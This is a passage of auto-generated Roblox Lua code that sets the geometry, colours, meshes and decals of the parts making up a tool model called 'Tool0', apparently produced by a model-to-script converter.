  1695. SpecialMesh96.Parent = Part95
  1696. SpecialMesh96.MeshId = "http://www.roblox.com/asset/?id=12221344"
  1697. SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
  1698. SpecialMesh96.MeshType = Enum.MeshType.FileMesh
  1699. SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
  1700. Part97.Parent = Tool0
  1701. Part97.Material = Enum.Material.SmoothPlastic
  1702. Part97.BrickColor = BrickColor.new("Black")
  1703. Part97.Reflectance = 0.050000000745058
  1704. Part97.Transparency = 1
  1705. Part97.Rotation = Vector3.new(0, 89.4599991, 0)
  1706. Part97.Anchored = true
  1707. Part97.FormFactor = Enum.FormFactor.Custom
  1708. Part97.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1709. Part97.CFrame = CFrame.new(26.9727783, 1.06616199, 138.338989, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
  1710. Part97.BottomSurface = Enum.SurfaceType.Smooth
  1711. Part97.TopSurface = Enum.SurfaceType.Smooth
  1712. Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1713. Part97.Position = Vector3.new(26.9727783, 1.06616199, 138.338989)
  1714. Part97.Orientation = Vector3.new(0, 89.4599991, 0)
  1715. Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1716. Decal98.Parent = Part97
  1717. Decal98.Texture = "http://www.roblox.com/asset/?id=30856892"
  1718. Decal99.Parent = Part97
  1719. Decal99.Texture = "http://www.roblox.com/asset/?id=30856892"
  1720. Decal99.Face = Enum.NormalId.Back
  1721. BlockMesh100.Parent = Part97
  1722. BlockMesh100.Offset = Vector3.new(0, 0, 0.119999997)
  1723. BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1724. BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1725. Part101.Parent = Tool0
  1726. Part101.Material = Enum.Material.SmoothPlastic
  1727. Part101.BrickColor = BrickColor.new("Black")
  1728. Part101.Reflectance = 0.050000000745058
  1729. Part101.Rotation = Vector3.new(0, -0.539999962, 90)
  1730. Part101.Anchored = true
  1731. Part101.FormFactor = Enum.FormFactor.Custom
  1732. Part101.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1733. Part101.CFrame = CFrame.new(27.2094727, 1.16210902, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1734. Part101.BottomSurface = Enum.SurfaceType.Smooth
  1735. Part101.TopSurface = Enum.SurfaceType.Smooth
  1736. Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1737. Part101.Position = Vector3.new(27.2094727, 1.16210902, 138.716553)
  1738. Part101.Orientation = Vector3.new(0, -0.539999962, 90)
  1739. Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1740. BlockMesh102.Parent = Part101
  1741. BlockMesh102.Offset = Vector3.new(-0.00749999983, 0.00300000003, 0)
  1742. BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
  1743. BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
  1744. Part103.Parent = Tool0
  1745. Part103.Material = Enum.Material.SmoothPlastic
  1746. Part103.BrickColor = BrickColor.new("Black")
  1747. Part103.Reflectance = 0.050000000745058
  1748. Part103.Rotation = Vector3.new(0, -0.539999962, 90)
  1749. Part103.Anchored = true
  1750. Part103.FormFactor = Enum.FormFactor.Custom
  1751. Part103.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1752. Part103.CFrame = CFrame.new(27.2094727, 1.12622094, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1753. Part103.BottomSurface = Enum.SurfaceType.Smooth
  1754. Part103.TopSurface = Enum.SurfaceType.Smooth
  1755. Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1756. Part103.Position = Vector3.new(27.2094727, 1.12622094, 138.716553)
  1757. Part103.Orientation = Vector3.new(0, -0.539999962, 90)
  1758. Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1759. BlockMesh104.Parent = Part103
  1760. BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
  1761. BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
  1762. Part105.Parent = Tool0
  1763. Part105.Material = Enum.Material.SmoothPlastic
  1764. Part105.BrickColor = BrickColor.new("Black")
  1765. Part105.Rotation = Vector3.new(-90, 0, 179.459991)
  1766. Part105.Anchored = true
  1767. Part105.FormFactor = Enum.FormFactor.Custom
  1768. Part105.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1769. Part105.CFrame = CFrame.new(27.2172852, 1.07226598, 138.462296, -0.999955833, -0.00939127803, 7.44607718e-08, 7.35136609e-08, 1.01192242e-07, 0.999999702, -0.00939120352, 0.999955297, -1.00497417e-07)
  1770. Part105.BottomSurface = Enum.SurfaceType.Smooth
  1771. Part105.TopSurface = Enum.SurfaceType.Smooth
  1772. Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1773. Part105.Position = Vector3.new(27.2172852, 1.07226598, 138.462296)
  1774. Part105.Orientation = Vector3.new(-89.9599991, 143.459991, 36)
  1775. Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1776. BlockMesh106.Parent = Part105
  1777. BlockMesh106.Offset = Vector3.new(0.0149999997, 0.0539999977, 0)
  1778. BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
  1779. BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
  1780. Part107.Parent = Tool0
  1781. Part107.Material = Enum.Material.SmoothPlastic
  1782. Part107.BrickColor = BrickColor.new("Black")
  1783. Part107.Reflectance = 0.050000000745058
  1784. Part107.Rotation = Vector3.new(0, -0.539999962, 90)
  1785. Part107.Anchored = true
  1786. Part107.FormFactor = Enum.FormFactor.Custom
  1787. Part107.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1788. Part107.CFrame = CFrame.new(27.2086182, 1.04223597, 138.776367, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1789. Part107.BottomSurface = Enum.SurfaceType.Smooth
  1790. Part107.TopSurface = Enum.SurfaceType.Smooth
  1791. Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1792. Part107.Position = Vector3.new(27.2086182, 1.04223597, 138.776367)
  1793. Part107.Orientation = Vector3.new(0, -0.539999962, 90)
  1794. Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1795. BlockMesh108.Parent = Part107
  1796. BlockMesh108.Offset = Vector3.new(0, 0.0120000001, 0)
  1797. BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
  1798. BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
  1799. Part109.Parent = Tool0
  1800. Part109.Material = Enum.Material.SmoothPlastic
  1801. Part109.BrickColor = BrickColor.new("Black")
  1802. Part109.Reflectance = 0.050000000745058
  1803. Part109.Rotation = Vector3.new(0, 89.4599991, -90)
  1804. Part109.Anchored = true
  1805. Part109.FormFactor = Enum.FormFactor.Custom
  1806. Part109.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1807. Part109.CFrame = CFrame.new(26.9537354, 0.913085997, 138.828003, -7.51574945e-08, 0.00939127803, 0.999955833, -0.999999702, -1.75381601e-07, -7.35136751e-08, 1.74683422e-07, -0.999955297, 0.00939120352)
  1808. Part109.BottomSurface = Enum.SurfaceType.Smooth
  1809. Part109.TopSurface = Enum.SurfaceType.Smooth
  1810. Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1811. Part109.Position = Vector3.new(26.9537354, 0.913085997, 138.828003)
  1812. Part109.Orientation = Vector3.new(0, 89.4599991, -90)
  1813. Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1814. CylinderMesh110.Parent = Part109
  1815. CylinderMesh110.Offset = Vector3.new(0, 0, 0.0450000018)
  1816. CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
  1817. CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
  1818. Part111.Parent = Tool0
  1819. Part111.Material = Enum.Material.SmoothPlastic
  1820. Part111.BrickColor = BrickColor.new("Black")
  1821. Part111.Reflectance = 0.050000000745058
  1822. Part111.Rotation = Vector3.new(0, -0.539999962, -180)
  1823. Part111.Anchored = true
  1824. Part111.FormFactor = Enum.FormFactor.Custom
  1825. Part111.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1826. Part111.CFrame = CFrame.new(26.9494629, 1.03320301, 138.887573, -0.999949455, 6.38106201e-07, -0.00939075649, -8.80158211e-07, -0.999994636, 3.69093527e-07, -0.00939118862, 3.90005596e-07, 0.999947309)
  1827. Part111.BottomSurface = Enum.SurfaceType.Smooth
  1828. Part111.TopSurface = Enum.SurfaceType.Smooth
  1829. Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1830. Part111.Position = Vector3.new(26.9494629, 1.03320301, 138.887573)
  1831. Part111.Orientation = Vector3.new(0, -0.539999962, -180)
  1832. Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1833. CylinderMesh112.Parent = Part111
  1834. CylinderMesh112.Offset = Vector3.new(-0.0299999993, 0, 0)
  1835. CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
  1836. CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
  1837. Part113.Parent = Tool0
  1838. Part113.Material = Enum.Material.SmoothPlastic
  1839. Part113.BrickColor = BrickColor.new("Black")
  1840. Part113.Reflectance = 0.050000000745058
  1841. Part113.Rotation = Vector3.new(0, -0.539999962, 90)
  1842. Part113.Anchored = true
  1843. Part113.FormFactor = Enum.FormFactor.Custom
  1844. Part113.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1845. Part113.CFrame = CFrame.new(27.1765137, 1.39330995, 138.985901, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
  1846. Part113.BottomSurface = Enum.SurfaceType.Smooth
  1847. Part113.TopSurface = Enum.SurfaceType.Smooth
  1848. Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1849. Part113.Position = Vector3.new(27.1765137, 1.39330995, 138.985901)
  1850. Part113.Orientation = Vector3.new(0, -0.539999962, 90)
  1851. Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1852. BlockMesh114.Parent = Part113
  1853. BlockMesh114.Offset = Vector3.new(-0.0299999993, 0, 0)
  1854. BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
  1855. BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
  1856. Part115.Parent = Tool0
  1857. Part115.Material = Enum.Material.SmoothPlastic
  1858. Part115.BrickColor = BrickColor.new("Black")
  1859. Part115.Reflectance = 0.050000000745058
  1860. Part115.Rotation = Vector3.new(0, -0.539999962, 90)
  1861. Part115.Anchored = true
  1862. Part115.FormFactor = Enum.FormFactor.Custom
  1863. Part115.Size = Vector3.new(0.347999901, 0.200000003, 0.200000003)
  1864. Part115.CFrame = CFrame.new(27.2078857, 1.00610304, 138.851563, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
  1865. Part115.BottomSurface = Enum.SurfaceType.Smooth
  1866. Part115.TopSurface = Enum.SurfaceType.Smooth
  1867. Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1868. Part115.Position = Vector3.new(27.2078857, 1.00610304, 138.851563)
  1869. Part115.Orientation = Vector3.new(0, -0.539999962, 90)
  1870. Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1871. BlockMesh116.Parent = Part115
  1872. BlockMesh116.Offset = Vector3.new(0, 0.0149999997, 0)
  1873. BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
  1874. BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
  1875. Part117.Parent = Tool0
  1876. Part117.Material = Enum.Material.SmoothPlastic
  1877. Part117.BrickColor = BrickColor.new("Black")
  1878. Part117.Reflectance = 0.050000000745058
  1879. Part117.Rotation = Vector3.new(-0.00999999978, 89.4199982, 0)
  1880. Part117.Anchored = true
  1881. Part117.FormFactor = Enum.FormFactor.Custom
  1882. Part117.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1883. Part117.CFrame = CFrame.new(26.9803467, 1.00317395, 138.831116, 0.00939099491, -5.48562753e-07, 0.999948323, -3.83994234e-07, 0.99999392, 8.20552998e-07, -0.999946356, -4.04066043e-07, 0.00939123333)
  1884. Part117.BottomSurface = Enum.SurfaceType.Smooth
  1885. Part117.TopSurface = Enum.SurfaceType.Smooth
  1886. Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1887. Part117.Position = Vector3.new(26.9803467, 1.00317395, 138.831116)
  1888. Part117.Orientation = Vector3.new(0, 89.4599991, 0)
  1889. Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1890. SpecialMesh118.Parent = Part117
  1891. SpecialMesh118.MeshId = "http://www.roblox.com/asset/?id=12221344"
  1892. SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
  1893. SpecialMesh118.MeshType = Enum.MeshType.FileMesh
  1894. SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
  1895. Part119.Parent = Tool0
  1896. Part119.Material = Enum.Material.SmoothPlastic
  1897. Part119.BrickColor = BrickColor.new("Black")
  1898. Part119.Reflectance = 0.050000000745058
  1899. Part119.Rotation = Vector3.new(180, 0.539999962, -180)
  1900. Part119.Anchored = true
  1901. Part119.FormFactor = Enum.FormFactor.Custom
  1902. Part119.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1903. Part119.CFrame = CFrame.new(27.0974121, 1.13525403, 138.157227, -0.999955833, 7.51575016e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -1.7538153e-07, -0.00939126313, -1.74683436e-07, -0.999955058)
  1904. Part119.BottomSurface = Enum.SurfaceType.Smooth
  1905. Part119.TopSurface = Enum.SurfaceType.Smooth
  1906. Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1907. Part119.Position = Vector3.new(27.0974121, 1.13525403, 138.157227)
  1908. Part119.Orientation = Vector3.new(0, 179.459991, 0)
  1909. Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1910. BlockMesh120.Parent = Part119
  1911. BlockMesh120.Offset = Vector3.new(0.00150000001, 0.0164999999, -0.0164999999)
  1912. BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
  1913. BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
  1914. Part121.Parent = Tool0
  1915. Part121.Material = Enum.Material.SmoothPlastic
  1916. Part121.BrickColor = BrickColor.new("Black")
  1917. Part121.Reflectance = 0.20000000298023
  1918. Part121.Rotation = Vector3.new(-90, 0, 179.459991)
  1919. Part121.Anchored = true
  1920. Part121.FormFactor = Enum.FormFactor.Custom
  1921. Part121.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1922. Part121.CFrame = CFrame.new(27.2125244, 1.10522497, 138.347412, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
  1923. Part121.BottomSurface = Enum.SurfaceType.Smooth
  1924. Part121.TopSurface = Enum.SurfaceType.Smooth
  1925. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1926. Part121.Position = Vector3.new(27.2125244, 1.10522497, 138.347412)
  1927. Part121.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
  1928. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1929. BlockMesh122.Parent = Part121
  1930. BlockMesh122.Offset = Vector3.new(0.0149999997, 0, 0)
  1931. BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  1932. BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  1933. Part123.Parent = Tool0
  1934. Part123.Material = Enum.Material.SmoothPlastic
  1935. Part123.BrickColor = BrickColor.new("Black")
  1936. Part123.Reflectance = 0.050000000745058
  1937. Part123.Rotation = Vector3.new(180, 0.539999962, -180)
  1938. Part123.Anchored = true
  1939. Part123.FormFactor = Enum.FormFactor.Custom
  1940. Part123.Size = Vector3.new(0.209999993, 0.300000012, 0.959999979)
  1941. Part123.CFrame = CFrame.new(27.0889893, 1.06616199, 138.732971, -0.999955833, 7.51575016e-08, 0.00939102471, 7.35136609e-08, 0.999999583, -1.75381558e-07, -0.00939126313, -1.74683436e-07, -0.999954998)
  1942. Part123.BottomSurface = Enum.SurfaceType.Smooth
  1943. Part123.TopSurface = Enum.SurfaceType.Smooth
  1944. Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1945. Part123.Position = Vector3.new(27.0889893, 1.06616199, 138.732971)
  1946. Part123.Orientation = Vector3.new(0, 179.459991, 0)
  1947. Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1948. BlockMesh124.Parent = Part123
  1949. BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
  1950. BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
  1951. Part125.Parent = Tool0
  1952. Part125.Material = Enum.Material.SmoothPlastic
  1953. Part125.BrickColor = BrickColor.new("Black")
  1954. Part125.Reflectance = 0.050000000745058
  1955. Part125.Rotation = Vector3.new(180, 0.539999962, 105)
  1956. Part125.Anchored = true
  1957. Part125.FormFactor = Enum.FormFactor.Custom
  1958. Part125.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1959. Part125.CFrame = CFrame.new(26.9566669, 1.35107398, 138.758911, -0.258817226, -0.965878427, 0.00939102471, -0.965921342, 0.258828729, -1.3166985e-07, -0.00243057683, -0.00907120109, -0.999952912)
  1960. Part125.BottomSurface = Enum.SurfaceType.Smooth
  1961. Part125.TopSurface = Enum.SurfaceType.Smooth
  1962. Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1963. Part125.Position = Vector3.new(26.9566669, 1.35107398, 138.758911)
  1964. Part125.Orientation = Vector3.new(0, 179.459991, -75)
  1965. Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1966. SpecialMesh126.Parent = Part125
  1967. SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
  1968. SpecialMesh126.MeshType = Enum.MeshType.Torso
  1969. SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
  1970. Part127.Parent = Tool0
  1971. Part127.Material = Enum.Material.SmoothPlastic
  1972. Part127.BrickColor = BrickColor.new("Black")
  1973. Part127.Reflectance = 0.050000000745058
  1974. Part127.Rotation = Vector3.new(-180, 0.539999962, 180)
  1975. Part127.Anchored = true
  1976. Part127.FormFactor = Enum.FormFactor.Custom
  1977. Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1978. Part127.CFrame = CFrame.new(27.1043701, 1.23608398, 138.085327, -0.999955833, -4.52194536e-06, 0.00939102471, -4.46485592e-06, 0.999999583, 6.10001689e-06, -0.00939126313, 6.05781406e-06, -0.999954998)
  1979. Part127.BottomSurface = Enum.SurfaceType.Smooth
  1980. Part127.TopSurface = Enum.SurfaceType.Smooth
  1981. Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1982. Part127.Position = Vector3.new(27.1043701, 1.23608398, 138.085327)
  1983. Part127.Orientation = Vector3.new(0, 179.459991, 0)
  1984. Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1985. SpecialMesh128.Parent = Part127
  1986. SpecialMesh128.MeshId = "http://www.roblox.com/asset/?id=12221344"
  1987. SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
  1988. SpecialMesh128.MeshType = Enum.MeshType.FileMesh
  1989. SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
  1990. Part129.Parent = Tool0
  1991. Part129.Material = Enum.Material.SmoothPlastic
  1992. Part129.BrickColor = BrickColor.new("Black")
  1993. Part129.Reflectance = 0.050000000745058
  1994. Part129.Rotation = Vector3.new(-90, 0, 179.459991)
  1995. Part129.Anchored = true
  1996. Part129.FormFactor = Enum.FormFactor.Custom
  1997. Part129.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1998. Part129.CFrame = CFrame.new(27.0843506, 1.10229504, 139.216187, -0.999955714, -0.0093909651, -2.52597529e-05, -2.52627906e-05, 2.05183838e-07, 0.999999583, -0.00939120352, 0.999954998, -4.42417331e-07)
  1999. Part129.BottomSurface = Enum.SurfaceType.Smooth
  2000. Part129.TopSurface = Enum.SurfaceType.Smooth
  2001. Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2002. Part129.Position = Vector3.new(27.0843506, 1.10229504, 139.216187)
  2003. Part129.Orientation = Vector3.new(-89.9499969, -91, -89.5299988)
  2004. Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2005. SpecialMesh130.Parent = Part129
  2006. SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
  2007. SpecialMesh130.MeshType = Enum.MeshType.Wedge
  2008. SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
  2009. Part131.Parent = Tool0
  2010. Part131.Material = Enum.Material.SmoothPlastic
  2011. Part131.BrickColor = BrickColor.new("Black")
  2012. Part131.Reflectance = 0.050000000745058
  2013. Part131.Rotation = Vector3.new(-180, -89.4599991, -90)
  2014. Part131.Anchored = true
  2015. Part131.FormFactor = Enum.FormFactor.Custom
  2016. Part131.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  2017. Part131.CFrame = CFrame.new(27.1380615, 1.27026403, 138.172791, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
  2018. Part131.BottomSurface = Enum.SurfaceType.Smooth
  2019. Part131.TopSurface = Enum.SurfaceType.Smooth
  2020. Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2021. Part131.Position = Vector3.new(27.1380615, 1.27026403, 138.172791)
  2022. Part131.Orientation = Vector3.new(0, -90.5400009, 90)
  2023. Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2024. CylinderMesh132.Parent = Part131
  2025. CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
  2026. CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
  2027. Part133.Parent = Tool0
  2028. Part133.Material = Enum.Material.SmoothPlastic
  2029. Part133.BrickColor = BrickColor.new("Black")
  2030. Part133.Reflectance = 0.050000000745058
  2031. Part133.Rotation = Vector3.new(90, 0, -179.459991)
  2032. Part133.Anchored = true
  2033. Part133.FormFactor = Enum.FormFactor.Custom
  2034. Part133.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2035. Part133.CFrame = CFrame.new(27.0895996, 0.834227979, 138.712296, -0.999955833, 0.00939102471, -7.48776188e-08, 7.35136609e-08, -1.45579236e-07, -0.999999583, -0.00939126313, -0.999954998, 1.44882463e-07)
  2036. Part133.BottomSurface = Enum.SurfaceType.Smooth
  2037. Part133.TopSurface = Enum.SurfaceType.Smooth
  2038. Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2039. Part133.Position = Vector3.new(27.0895996, 0.834227979, 138.712296)
  2040. Part133.Orientation = Vector3.new(89.9499969, -27.3299999, 153.209991)
  2041. Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2042. SpecialMesh134.Parent = Part133
  2043. SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2044. SpecialMesh134.MeshType = Enum.MeshType.Wedge
  2045. SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2046. Part135.Parent = Tool0
  2047. Part135.Material = Enum.Material.SmoothPlastic
  2048. Part135.BrickColor = BrickColor.new("Black")
  2049. Part135.Reflectance = 0.050000000745058
  2050. Part135.Rotation = Vector3.new(0, -0.539999962, 180)
  2051. Part135.Anchored = true
  2052. Part135.FormFactor = Enum.FormFactor.Custom
  2053. Part135.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2054. Part135.CFrame = CFrame.new(27.0936279, 1.05126905, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  2055. Part135.BottomSurface = Enum.SurfaceType.Smooth
  2056. Part135.TopSurface = Enum.SurfaceType.Smooth
  2057. Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2058. Part135.Position = Vector3.new(27.0936279, 1.05126905, 138.235168)
  2059. Part135.Orientation = Vector3.new(0, -0.539999962, 180)
  2060. Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2061. SpecialMesh136.Parent = Part135
  2062. SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  2063. SpecialMesh136.MeshType = Enum.MeshType.Wedge
  2064. SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  2065. Part137.Parent = Tool0
  2066. Part137.Material = Enum.Material.SmoothPlastic
  2067. Part137.BrickColor = BrickColor.new("Brick yellow")
  2068. Part137.Reflectance = 0.050000000745058
  2069. Part137.Rotation = Vector3.new(-61.3099976, -0.25999999, 179.529999)
  2070. Part137.Anchored = true
  2071. Part137.FormFactor = Enum.FormFactor.Custom
  2072. Part137.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2073. Part137.CFrame = CFrame.new(27.0914307, 0.69116199, 138.467163, -0.999955833, -0.00823810697, -0.00450787693, 7.35136609e-08, -0.480031699, 0.877250612, -0.00939126313, 0.877211511, 0.480010271)
  2074. Part137.BottomSurface = Enum.SurfaceType.Smooth
  2075. Part137.TopSurface = Enum.SurfaceType.Smooth
  2076. Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2077. Part137.Position = Vector3.new(27.0914307, 0.69116199, 138.467163)
  2078. Part137.Orientation = Vector3.new(-61.3099976, -0.539999962, 180)
  2079. Part137.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2080. SpecialMesh138.Parent = Part137
  2081. SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2082. SpecialMesh138.MeshType = Enum.MeshType.Wedge
  2083. SpecialMesh138.Scale = Vector3.new(1, 0.180000007, 0.112500004)
  2084. Part139.Parent = Tool0
  2085. Part139.Material = Enum.Material.SmoothPlastic
  2086. Part139.BrickColor = BrickColor.new("Black")
  2087. Part139.Reflectance = 0.050000000745058
  2088. Part139.Rotation = Vector3.new(90.1100006, -12, 90.5499954)
  2089. Part139.Anchored = true
  2090. Part139.FormFactor = Enum.FormFactor.Custom
  2091. Part139.Size = Vector3.new(0.330000013, 0.200000003, 0.200000003)
  2092. Part139.CFrame = CFrame.new(26.9669189, 1.213135, 138.983887, -0.00939138234, -0.978104293, -0.207902461, 1.14688889e-08, 0.207911626, -0.978147209, 0.999955058, -0.00918611884, -0.00195264444)
  2093. Part139.BottomSurface = Enum.SurfaceType.Smooth
  2094. Part139.TopSurface = Enum.SurfaceType.Smooth
  2095. Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2096. Part139.Position = Vector3.new(26.9669189, 1.213135, 138.983887)
  2097. Part139.Orientation = Vector3.new(78, -90.5400009, 0)
  2098. Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2099. Decal140.Parent = Part139
  2100. Decal140.Texture = "http://www.roblox.com/asset/?id=65628034"
  2101. Decal140.Face = Enum.NormalId.Bottom
  2102. BlockMesh141.Parent = Part139
  2103. BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
  2104. BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
  2105. Part142.Parent = Tool0
  2106. Part142.Material = Enum.Material.SmoothPlastic
  2107. Part142.BrickColor = BrickColor.new("Brick yellow")
  2108. Part142.Reflectance = 0.050000000745058
  2109. Part142.Rotation = Vector3.new(-151.309998, 0.469999999, 179.73999)
  2110. Part142.Anchored = true
  2111. Part142.FormFactor = Enum.FormFactor.Custom
  2112. Part142.Size = Vector3.new(0.209999993, 0.468000025, 0.239999995)
  2113. Part142.CFrame = CFrame.new(27.0928955, 0.732177973, 138.332642, -0.999955833, -0.00450787693, 0.00823824108, 7.35136609e-08, 0.877250671, 0.480031699, -0.00939126313, 0.480010271, -0.87721169)
  2114. Part142.BottomSurface = Enum.SurfaceType.Smooth
  2115. Part142.TopSurface = Enum.SurfaceType.Smooth
  2116. Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2117. Part142.Position = Vector3.new(27.0928955, 0.732177973, 138.332642)
  2118. Part142.Orientation = Vector3.new(-28.6899986, 179.459991, 0)
  2119. Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2120. BlockMesh143.Parent = Part142
